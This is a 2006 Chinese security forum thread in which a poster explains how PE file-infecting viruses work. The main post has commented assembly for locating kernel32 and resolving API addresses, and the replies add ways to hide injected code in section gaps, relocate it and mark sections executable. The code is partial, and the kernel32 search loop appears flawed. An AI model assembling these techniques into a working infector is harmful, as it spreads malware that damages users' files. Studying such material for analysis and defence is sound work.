首页
社区
课程
招聘
关于PE文件病毒的一点心得
发表于: 2006-10-12 09:52 11661

关于PE文件病毒的一点心得

2006-10-12 09:52
11661

PE文件病毒虽然因为传播不及蠕虫已经很少独立存在了,但是仍然有很多病毒把他的感染部分作为一个功能.而且学习PE文件病毒可以让我们对PE的格式更好的了解,而加壳程序的外壳部分也运用到了和PE文件病毒类似的技术,所以还是可以了解下的
我也是刚学习这方面的东西,就把一点点心得写了下来.参考了罗云彬的<windows环境下32位汇编语言程序设计>在下菜鸟一只,望高手指教~

首先说说PE文件病毒的工作方式.一个PE文件病毒基本上有这几个功能:

1)获取kernel32.dll的基地址
2)通过所获得的kernel32的基地址通过dll的PE文件格式中的输出表获得以后要使用到的API的地址,并将他们存放在变量或是栈中,将来所调用的API直接通过CALL这些地址来实现.
3)查找要感染的文件并获得他们的基地址(通过CreateFile,CreateFileMapping,ViewOfMapFile将文件打开,当然调用的是getapi所找到的地址。其他过程和一般的程序没什么区别,所以就不写在这里了)
4)通过获得的文件的基地址来根据文件的PE文件格式来将病毒代码注入到该文件中,在这里有两种方法,一是通过给程序添加一个节(section)来将病毒注入,另一种是选取一个未用完的节(因为节在内存中是按1000为单位对齐的).
   当然了,病毒不可能只是复制自己而什么都不做,不然的话就没有破坏性了...在代码里都会有一段用来做点坏事~~比如开个后门~~
   好了,我们来具体看看这些有趣的东西~~~嘿嘿
第一个部分,获取K32的基地址

_GetK32 proc 
        local @dwReturn
        pushad
        mov   @dwReturn,0       ;返回值,先设为0(即false)
        mov   edi,_dwKernelRet      ;这里的_dwKernel32Ret 是[esp],当程序通过ret指令结
                                       ;束的时候,系统会通过调用CreateProcess()函数来启动进 
                                       ;程,这时的堆栈中所存放的值就是Kernel32所在的那部分
                                       ;地址段中的一个地址。因此,如果我们在程序中的开头部
                                       ;分取出[esp]的值,就能通过这个值定位kernel32的基地址
        and   edi,0ffff0000h           ;因为WINDOWS是分页系统,4K一页,所以这条语句就是将 
                                       ;edi指向该页的基地址
@1:                                    ;由于分页系统中模块加载都是从每一页的页首开始,所以
                                       ;基地址总每页的页首地址
        cmp word ptr [edi],'ZM'        ;这一段是判断是否到达K32的基地址
        jnz @1
        mov esi,edi
        add esi,[esi+003ch]
        cmp word ptr [esi],'EP'
        mov @dwReturn,edi
        jz @2                         ;确认找到的是K32的基地址,跳
        sub edi,010000h               ;不是K32的基地址,则查看是不是在前一页              
        cmp edi,070000000h            
        jb @2                         ;如果小于07000000则不查找,因为K32不会在小于
                                      ;070000000前的页,在这里为了简单没有考虑出错情况,一 
                                       ;般出错的话就直接结束吧
        jmp @1
@2:     add esp,0ch
        popad
        mov eax,@dwReturn             ;将找到的K32的基地址给EAX返回
        ret
_GetK32 endp

第2部分,GetApi部分
_GetApi proc                          ;输入ESI(指向一个API名字)输出该API的地址
        mov edx,esi                   ;先将该API名字的首地址备份个
@1:     cmp byte ptr [esi],0          ;这一段是获取API名字的长度,因为以0作为字符串结束的
                                      ;标记,所以比较esi所指地址的值是否为0来判断是否是字
                                      ;符串的结束
        jz @2                         ;是,跳
	inc esi                       ;不是则让ESI指向下一个字符,继续判断
	jmp @1
@2:     inc esi                       
        sub esi,edx                   ;esi-edx就是API的字符串长度了
	mov ecx,esi
	xor eax,eax
        mov count,ax                  ;COUNT存放所输入的API在ENT的数组序号(即对应关系中的;X)
	mov esi,hDllKernel32          
	add esi,3ch                   ;即让ESI指向NT头,3c是dos头的长度
	mov esi,[esi+78h]             ;让ESI指向DATA DIRECTORY数组的首地址(这个值是RVA)
                                      ;由于输出表是放在数组的第一个,所以所指的这个数组的
                                      ;首地址的RVA就是输出表的首地址的RVA
	add esi,hDllKernel32          ;输出表的VA
	add esi,1ch                   ;ESI指向AddressOfFunctions
        lodsd                         ;读取AddressOfFunctions的内容          
	add eax,hDllKernel32          ;EAT(输出地址表)的VA
	mov eatVA,eax
	lodsd                         ;读取AddressOfNames的内容
	add eax,hDllKernel32          ;ENT(存放输出的API的名字的数组)
	mov entVA,eax                 
	lodsd                         ;读取输出序数表EOT的RVA
	add eax,hDllKernel32          ;VA
	mov OrdinalVA,eax
	mov esi,entVA

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 7
支持
分享
最新回复 (20)
雪    币: 179
活跃值: (131)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
2
老大可能在加精,先顶一下~
2006-10-12 09:55
0
雪    币: 215
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
3
哈哈...我也在写一个pe文件型病毒.哈哈...
2006-10-12 10:48
0
雪    币: 12
活跃值: (605)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
4
"4)通过获得的文件的基地址来根据文件的PE文件格式来将病毒代码注入到该文件中,在这里有两种方法,一是通过给程序添加一个节(section)来将病毒注入,另一种是选取一个未用完的节(因为节在内存中是按1000为单位对齐的)."

既可以在节空隙里插也可以扩展最后一个节(这样就不存在空间不够了)
2006-10-12 11:00
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
好文

收藏了

如果能把c码放出来更好些

2006-10-12 16:20
0
雪    币: 158
活跃值: (43)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
6
学习一下,
2006-10-12 19:22
0
雪    币: 440
活跃值: (737)
能力值: ( LV9,RANK:690 )
在线值:
发帖
回帖
粉丝
7
代码注释很多
学习!
2006-10-12 19:34
0
雪    币: 175
活跃值: (2531)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
病毒的原理可以理解,但对病毒的分析很难。
2006-10-12 21:45
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
学习病毒,最好的方法就是读源码,
2006-10-12 22:28
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
CTRL-C,CTRL-V,不过提醒楼主一下下,在有的文件中,最后的session是数据段,也就是说该段禁止写入可执行代码,即使写入也无法执行

PS:各位老大,写壳是不是也是使用类似PE感染的办法,改变入口点的
2006-10-13 08:11
0
雪    币: 214
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
11
关于将代码添加到节里的方法是可以突破对齐的限制的.我们只需要将代码分段注入到其它的几个节里就行了.所以只要 文件的对齐长度-实际长度>病毒长度就可以了,另外好象有的病毒还可以将代码注入到几个系统文件中,比如"莫国防"病毒(win32.mgf)就是把自己的前3kb放到了kernel32.dll的节空隙,后2kb放到了user32.dll的节空隙中
另外关于把节添加到代码空隙中的好处是可以避免杀毒程序的一种叫长度检查的杀毒方法.因为这样添加的病毒代码不会改变文件的长度.
当然在这里为了简单我们是直接添加的一个节
  C码是说的C写的代码吗?C不能够实现代码自身的首地址的定向而汇编可以通过在代码开头
call @f
@@:
pop ebx
sub ebx,offset @b
来实现自身的重定位

关于节的段是属性的问题,我们是通过
or  dword ptr [esi+24h],0a0000020h   ;该节属性定为可执行代码(esi 指向的是SECTION_HEADER)
在保持原先的属性不变的情况下,加上可执行的属性.这样我们的代码就能够运行了,而又不会影响宿主程序本身的执行  
加壳程序也是通过类似的方式将外壳代码放到要加壳的程序里的,不过,为了ANTI-DEBUGGER在跳回OEP之前做了许多保护措施和陷阱
2006-10-13 12:40
0
雪    币: 12
活跃值: (605)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
12
最初由 天魔降临 发布
CTRL-C,CTRL-V,不过提醒楼主一下下,在有的文件中,最后的session是数据段,也就是说该段禁止写入可执行代码,即使写入也无法执行

PS:各位老大,写壳是不是也是使用类似PE感染的办法,改变入口点的


只要加一个可执行属性就行了
2006-10-13 15:53
0
雪    币: 716
活跃值: (162)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
13
sustain!!!
不知hying'arm里为何没有遍历页就能定位kernel32
2006-10-13 18:09
0
雪    币: 451
活跃值: (78)
能力值: ( LV12,RANK:470 )
在线值:
发帖
回帖
粉丝
14
学习一下

不错不错
2006-10-13 18:33
0
雪    币: 12
活跃值: (605)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
15
最初由 elance 发布
sustain!!!
不知hying'arm里为何没有遍历页就能定位kernel32


查找KERNEL32地址有N种方法
2006-10-13 22:09
0
雪    币: 238
活跃值: (326)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
16
引用: 最初由 天魔降临 发布
CTRL-C,CTRL-V,不过提醒楼主一下下,在有的文件中,最后的session是数据段,也就是说该段禁止写入可执行代码,即使写入也无法执行

PS:各位老大,写壳是不是也是使用类似PE感染的办法,改变入口点的

还可以将尺寸修改一下,这些都太容易做到了。
2006-10-13 22:19
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
代码注释很多
我喜欢
2006-10-16 12:40
0
雪    币: 716
活跃值: (162)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
18
最初由 crazybug 发布
查找KERNEL32地址有N种方法


hying很简单就做到了,没见有搜索的过程,
2006-10-21 14:49
0
雪    币: 229
活跃值: (70)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
19
貌似有一篇《恶意代码的亲密接触――病毒编程技术(上)》的论文说得好,看过 N 遍了
2006-10-21 15:10
0
雪    币: 236
活跃值: (46)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
最初由 zhuwg 发布
学习一下

不错不错
2006-10-21 23:01
0
雪    币: 451
活跃值: (78)
能力值: ( LV12,RANK:470 )
在线值:
发帖
回帖
粉丝
21
好文
学习学习
2006-10-22 09:42
0
游客
登录 | 注册 方可回帖
返回
//